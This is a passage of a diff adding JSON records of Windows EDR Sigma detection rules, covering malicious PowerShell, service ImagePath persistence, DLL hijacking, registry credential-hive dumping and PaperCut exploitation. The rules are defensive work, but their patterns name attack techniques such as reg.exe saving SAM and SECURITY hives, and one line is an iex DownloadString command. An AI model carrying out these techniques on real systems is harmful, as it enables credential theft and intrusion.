https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/run-analyzer-windows?view=o365-worldwide\n    exclusion_mdeanalyzer:\n        PowershellCommand|contains|all:\n            - '# Initialize XML log - for consumption by external parser'\n            - '$script:xmlDoc = [xml]\"<?xml version=\"\"1.0\"\" encoding=\"\"utf-8\"\"?><MDEResults><general></general><devInfo></devInfo><EDRCompInfo></EDRCompInfo><MDEDevConfig></MDEDevConfig><AVCompInfo></AVCompInfo><events></events></MDEResults>\"'\n            - 'HKLM:\\SOFTWARE\\Microsoft\\Windows Advanced Threat Protection'\n            - 'Write-Host -ForegroundColor Green \"Please enter the full path to the document that was used during log collection. For example C:\\Users\\John Doe\\Desktop\\report.docx\"'\n            - 'function Get-DLPEA {'\n            - 'function Test-WPRError($ExitCode) {'\n\n    exclusion_flarevm:\n        PowershellScriptPath: '?:\\ProgramData\\_VM\\vm.common\\vm.common.psm1'\n        PowershellCommand|contains|all:\n            - '# Determine if file or directory should show item in right-click menu'\n            - 'New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT | Out-Null'\n            - 'VM Chocolatey Version'\n            - 'VM Boxstarter Version'\n            - '$chocoInfo = choco --version'\n            - 'installedPackages = choco list -r'\n            - '# Function for setting Services to manual startup'\n\n    exclusion_ixbus:\n        - ProcessGrandparentCommandLine: '*\\iXBus Serveur\\Plugins\\\\*\\service.exe'\n        - PowershellScriptPath: '?:\\SRCI\\iXBs_Applications\\iXBus Serveur\\Framework\\\\*\\iXBs_InterfaceGF\\iXBs_*.psm1'\n\n    exclusion_tanium:\n        ProcessAncestors|contains: '|?:\\Program Files (x86)\\Tanium\\Tanium Client\\TaniumCX.exe|'\n\n    exclusion_amazon:\n        PowershellScriptPath: '?:\\ProgramData\\Amazon\\SSM\\InstanceData\\\\*\\document\\orchestration\\\\*\\PatchWindows\\_script.ps1'\n\n    exclusion_national_instruments:\n        ProcessGrandparentImage: '?:\\Program Files\\National Instruments\\Shared\\Skyline\\RabbitMQ\\erl-*\\bin\\erlsrv.exe'\n\n    exclusion_nsclient:\n        ProcessGrandparentImage: '?:\\Program Files\\NSClient++\\nscp.exe'\n\n    exclusion_prtg:\n        ProcessImage: '?:\\Program Files (x86)\\PRTG Network Monitor\\PowerShellScriptRunner.exe'\n        ProcessParentImage: '?:\\Program Files (x86)\\PRTG Network Monitor\\PRTG Probe.exe'\n\n    exclusion_cyberwatch:\n        ProcessParentImage: '?:\\Program Files\\CYBERWATCH SAS\\CyberwatchAgent\\cyberwatch-agent.exe'\n\n    exclusion_sillage:\n        PowershellScriptPath: '?:\\sillage\\sillageMAJ.ps1'\n        ProcessParentCommandLine|startswith: '?:\\windows\\system32\\cmd.exe /K CALL ?:\\sillage\\Sillage.bat '\n\n    exclusion_intune:\n        ProcessParentImage: '?:\\Program Files (x86)\\Microsoft Intune Management Extension\\AgentExecutor.exe'\n\n    exclusion_alticap:\n        PowershellScriptPath: '?:\\ProgramData\\Alticap\\rrd\\\\*.ps1'\n\n    exclusion_siemens:\n        PowershellScriptPath:\n            - '?:\\Program Files\\Siemens\\LMS\\scripts\\CommonPSFunctions.psm1'\n            - '?:\\Program Files\\Siemens\\syngo\\OperationalManagement\\HealthCheck\\HCx.ps1'\n\n    # https://arpege.fr/\n    exclusion_arpege:\n        - PowershellScriptPath: '?:\\ARPEGE*\\produit\\admin\\res\\Modules_Persos\\Common-Commands\\Common-Commands.psm1'\n        - ProcessParentCommandLine:\n            - '?:\\Windows\\SYSTEM32\\cmd.exe /c ?:\\ARPEGE*\\produit\\admin\\Sauvegarde.bat'\n            - '?:\\Windows\\SYSTEM32\\cmd.exe /c ?:\\ARPEGE*\\produit\\admin\\Sauvegarde.bat -Wait'\n\n    exclusion_ninjaone:\n        PowershellScriptPath: '?:\\ProgramData\\NinjaRMMAgent\\scripting\\customscript_gen_*.ps1'\n\n    exclusion_itsplatform:\n        ProcessParentImage: '?:\\Program Files (x86)\\ITSPlatform\\agentcore\\platform-agent-core.exe'\n\n    exclusion_nodejs_parent:\n        PowershellCommand|contains: 'iex ((New-Object System.Net.WebClient).DownloadString(?https://chocolatey.org/install.ps1?));'\n        ProcessParentCommandLine:\n            - '?:\\Windows\\system32\\cmd.exe /c ?:\\nodejs\\install_tools.bat'\n            - '?:\\WINDOWS\\system32\\cmd.exe /c ?:\\Program Files\\nodejs\\install_tools.bat'\n    exclusion_nodejs_grandparent:\n        PowershellCommand|contains: 'iex ((New-Object System.Net.WebClient).DownloadString(?https://chocolatey.org/install.ps1?));'\n        ProcessGrandparentCommandLine:\n            - '?:\\Windows\\system32\\cmd.exe /c ?:\\nodejs\\install_tools.bat'\n            - '?:\\Windows\\system32\\cmd.exe /c ?:\\Program Files\\nodejs\\install_tools.bat'\n\n    exclusion_vcpkg:\n        # https://github.com/microsoft/vcpkg-ce/blob/main/assets/scripts/ce.ps1\n        - Sha256:\n            - '90de3d6b442c1370644432e0bacd937023e2485882c1621cc2158e7a983a7996'\n            - 'e03a66d7862e438aea9e75099cc7f46149b5d594ea2ba482a9d93c9d82d44270'\n            - '7d370f1580f5c9a1fca316049015d6ca4d5ab83a467e142b2c35d8348961ad4f'\n        - ProcessCommandLine:\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NoProfile -ExecutionPolicy Unrestricted -Command iex (get-content \"?:\\Program Files\\Microsoft Visual Studio\\\\*\\VC\\vcpkg\\vcpkg-init.cmd\" -raw)#'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NoProfile -ExecutionPolicy Unrestricted -Command iex (get-content \"?:\\Program Files (x86)\\Microsoft Visual Studio\\\\*\\VC\\vcpkg\\vcpkg-init.cmd\" -raw)#'\n            - '?:\\Program Files\\PowerShell\\7\\pwsh.exe -NoProfile -ExecutionPolicy Unrestricted -Command iex (get-content \"?:\\Program Files\\Microsoft Visual Studio\\\\*\\VC\\vcpkg\\vcpkg-init.cmd\" -raw)#'\n            - '?:\\Program Files\\PowerShell\\7\\pwsh.exe -NoProfile -ExecutionPolicy Unrestricted -Command iex (get-content \"?:\\Program Files (x86)\\Microsoft Visual Studio\\\\*\\VC\\vcpkg\\vcpkg-init.cmd\" -raw)#'\n\n    exclusion_ansible:\n        # https://github.com/sergeycherepanov/devbrew/blob/master/ansible/ansible/executor/powershell/bootstrap_wrapper.ps1\n        Sha256: 'c38ed3d1c2ad1af1755a9eee278018ed5fd8546f77fe685f60e4b8a40fe939c2'\n\n    condition: ((exec and download) or (assembly_load and download) or decompress_payload or nslookup) and not 1 of exclusion_*\nlevel: medium\n#level: high\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "481011ca-b57e-4e3c-9c28-45b01b5589dd",
+  "rule_name": "Possible Execution of a Malicious PowerShell Script",
+  "rule_description": "Detects suspicious patterns in PowerShell scripts that can indicate the execution of malicicious code.\nThere is functionality in PowerShell scripts that are commonly abused by attackers, such as downloading data (payloads) and executing subsequent PowerShell code from an obfuscated first stage.\nIt is recommended to read the PowerShell script as to determine its intent. If the PowerShell script is benign, it is highly recommended to whitelist the script as to avoid false positives.\n",
+  "rule_creation_date": "2021-06-25",
+  "rule_modified_date": "2025-05-27",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4810ee12-e776-458e-8cb5-280d7850f8dd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.075442Z",
+  "creation_date": "2026-03-23T11:45:34.075444Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.075448Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.011/T1574.011.md#atomic-test-2---service-imagepath-change-with-regexe",
+    "https://attack.mitre.org/techniques/T1574/011/"
+  ],
+  "name": "t1574_011_powershell_registered_as_service_path.yml",
+  "content": "title: Service Binary Path Modified to powershell.exe\nid: 4810ee12-e776-458e-8cb5-280d7850f8dd\ndescription: |\n    Detects the modification of a service's binary path to point to powershell.exe.\n    This technique can be used by adversaries to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n    It is recommended to investigate the new binary path as well as the binary performing the modification to look for malicious behaviors.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.011/T1574.011.md#atomic-test-2---service-imagepath-change-with-regexe\n    - https://attack.mitre.org/techniques/T1574/011/\ndate: 2022/12/23\nmodified: 2025/01/31\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.011\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.ConfigChange\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\\\*\\ImagePath'\n        Details|endswith: 'powershell.exe'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4810ee12-e776-458e-8cb5-280d7850f8dd",
+  "rule_name": "Service Binary Path Modified to powershell.exe",
+  "rule_description": "Detects the modification of a service's binary path to point to powershell.exe.\nThis technique can be used by adversaries to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\nIt is recommended to investigate the new binary path as well as the binary performing the modification to look for malicious behaviors.\n",
+  "rule_creation_date": "2022-12-23",
+  "rule_modified_date": "2025-01-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.011"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4834c68c-17e1-41ea-aad1-8b8221b11796",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.080295Z",
+  "creation_date": "2026-03-23T11:45:34.080297Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.080301Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_rdvghelper.yml",
+  "content": "title: DLL Hijacking via rdvghelper.exe\nid: 4834c68c-17e1-41ea-aad1-8b8221b11796\ndescription: |\n    Detects potential Windows DLL Hijacking via rdvghelper.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'rdvghelper.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dwmapi.dll'\n            - '\\WINSTA.dll'\n            - '\\WTSAPI32.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4834c68c-17e1-41ea-aad1-8b8221b11796",
+  "rule_name": "DLL Hijacking via rdvghelper.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via rdvghelper.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "48702459-2abb-4d6e-8682-b9ca12feb9f0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.075043Z",
+  "creation_date": "2026-03-23T11:45:34.075045Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.075049Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/offsecginger/koadic/blob/main/data/implant/gather/hashdump_sam.js",
+    "https://attack.mitre.org/techniques/T1003/",
+    "https://lolbas-project.github.io/lolbas/Binaries/Reg/"
+  ],
+  "name": "t1003_registry_extract.yml",
+  "content": "title: Sensitive Registry Hive Dumped\nid: 48702459-2abb-4d6e-8682-b9ca12feb9f0\ndescription: |\n    Detects when reg.exe binary saves/dumps sensitive hives (SAM, SECURITY, SYSTEM)\n    Koadic, among many others, uses this to dump the syskey.\n    It is recommended to investigate the parent process for suspicious activities, as well to look for the subsequent unwanted usage of compromised credentials on others hosts.\nreferences:\n    - https://github.com/offsecginger/koadic/blob/main/data/implant/gather/hashdump_sam.js\n    - https://attack.mitre.org/techniques/T1003/\n    - https://lolbas-project.github.io/lolbas/Binaries/Reg/\ndate: 2020/10/06\nmodified: 2025/01/30\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003\n    - attack.t1078\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Reg\n    - classification.Windows.Behavior.Collection\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_binary:\n        - Image|endswith: '\\reg.exe'\n        - OriginalFileName: 'reg.exe'\n    selection_commandline_action:\n        CommandLine|contains:\n            - ' save '\n            - ' export '\n    selection_commandline_hivename:\n        CommandLine|contains:\n            - '\\SAM '\n            - '\\SAM\\ '\n            - '\\SECURITY '\n            - '\\SECURITY\\ '\n            - '\\SECURITY\\policy\\secrets '\n            - '\\SYSTEM ' # This hive is necessary for decrypting ntds.dit\n            - '\\SYSTEM\\ '\n            - '\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\JD '\n            - '\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Skew1 '\n            - '\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\GBG '\n            - '\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Data '\n    exclusion_rapid7:\n        ParentImage: '?:\\Program Files\\Rapid7\\Insight Agent\\components\\insight_agent\\\\*\\ir_agent.exe'\n    exclusion_trendmicro:\n        CommandLine|endswith: '?:\\ProgramData\\Trend Micro\\Deep Security Agent\\\\*\\reg_gp_cmd.txt'\n\n    exclusion_trendmicro_2:\n        # C:\\Windows\\Temp\\qvwsbM1\\g1AxB76\\rp_main.exe\n        ProcessGrandparentImage|endswith: '\\rp_main.exe'\n        # reg export HKLM\\SOFTWARE\\Microsoft\\Security Center C:\\WINDOWS\\TEMP\\qvwsbM1\\g1AxB76\\wsc32.reg /reg:32\n        # reg export HKLM\\SOFTWARE\\Microsoft\\Security Center C:\\WINDOWS\\TEMP\\waCxI8t\\VkBd5E8\\wsc64.reg /reg:64\n\n        ProcessCommandLine|contains|all:\n            - 'HKLM\\SOFTWARE\\Microsoft\\Security Center '\n            - '\\wsc'\n            - '/reg:'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: moderate",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "48702459-2abb-4d6e-8682-b9ca12feb9f0",
+  "rule_name": "Sensitive Registry Hive Dumped",
+  "rule_description": "Detects when reg.exe binary saves/dumps sensitive hives (SAM, SECURITY, SYSTEM)\nKoadic, among many others, uses this to dump the syskey.\nIt is recommended to investigate the parent process for suspicious activities, as well to look for the subsequent unwanted usage of compromised credentials on others hosts.\n",
+  "rule_creation_date": "2020-10-06",
+  "rule_modified_date": "2025-01-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003",
+    "attack.t1078"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "487e1cf1-d661-410e-b8f6-9870b391d67e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.588841Z",
+  "creation_date": "2026-03-23T11:45:34.588845Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.588852Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_pacjsworker.yml",
+  "content": "title: DLL Hijacking via pacjsworker.exe\nid: 487e1cf1-d661-410e-b8f6-9870b391d67e\ndescription: |\n    Detects potential Windows DLL Hijacking via pacjsworker.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'pacjsworker.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\WINHTTP.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "487e1cf1-d661-410e-b8f6-9870b391d67e",
+  "rule_name": "DLL Hijacking via pacjsworker.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via pacjsworker.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "488f01c4-9b5e-4099-839c-aaa87e4afd58",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.092317Z",
+  "creation_date": "2026-03-23T11:45:34.092320Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.092324Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software",
+    "https://www.bleepingcomputer.com/news/security/exploit-released-for-papercut-flaw-abused-to-hijack-servers-patch-now/",
+    "https://attack.mitre.org/techniques/T1190/"
+  ],
+  "name": "t1190_papercut_exploitation.yml",
+  "content": "title: Suspicious Process Spawned by PaperCut Server\nid: 488f01c4-9b5e-4099-839c-aaa87e4afd58\ndescription: |\n    Detects the execution of a suspicious process (such as script interpreters like PowerShell or W) by the PaperCut server process.\n    This can be the result of the exploitation of the CVE-2023-27350 and CVE-2023-27351 vulnerabilities that allow an unauthenticated user to execute code as SYSTEM on the server.\n    It is recommended to investigate the spawned process, its command-line and any scripts it might have executed to determine legitimacy.\nreferences:\n    - https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software\n    - https://www.bleepingcomputer.com/news/security/exploit-released-for-papercut-flaw-abused-to-hijack-servers-patch-now/\n    - https://attack.mitre.org/techniques/T1190/\ndate: 2023/04/26\nmodified: 2025/03/18\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.t1190\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Exploit.CVE-2023-27350\n    - classification.Windows.Exploit.CVE-2023-27351\n    - classification.Windows.Behavior.Exploitation\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentImage|endswith: '\\pc-app.exe'\n        Image|endswith:\n            - '\\cmd.exe'\n            - '\\powershell.exe'\n            - '\\pwsh.exe'\n            - '\\certutil.exe'\n            - '\\wmic.exe'\n            - '\\msiexec.exe'\n            - '\\rundll32.exe'\n            - '\\cscript.exe'\n            - '\\wscript.exe'\n            - '\\mshta.exe'\n            - '\\regsvr32.exe'\n            - '\\curl.exe'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "488f01c4-9b5e-4099-839c-aaa87e4afd58",
+  "rule_name": "Suspicious Process Spawned by PaperCut Server",
+  "rule_description": "Detects the execution of a suspicious process (such as script interpreters like PowerShell or W) by the PaperCut server process.\nThis can be the result of the exploitation of the CVE-2023-27350 and CVE-2023-27351 vulnerabilities that allow an unauthenticated user to execute code as SYSTEM on the server.\nIt is recommended to investigate the spawned process, its command-line and any scripts it might have executed to determine legitimacy.\n",
+  "rule_creation_date": "2023-04-26",
+  "rule_modified_date": "2025-03-18",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1190"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "489d592b-0a46-401a-8296-cb95d0abe49a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.598546Z",
+  "creation_date": "2026-03-23T11:45:34.598549Z",
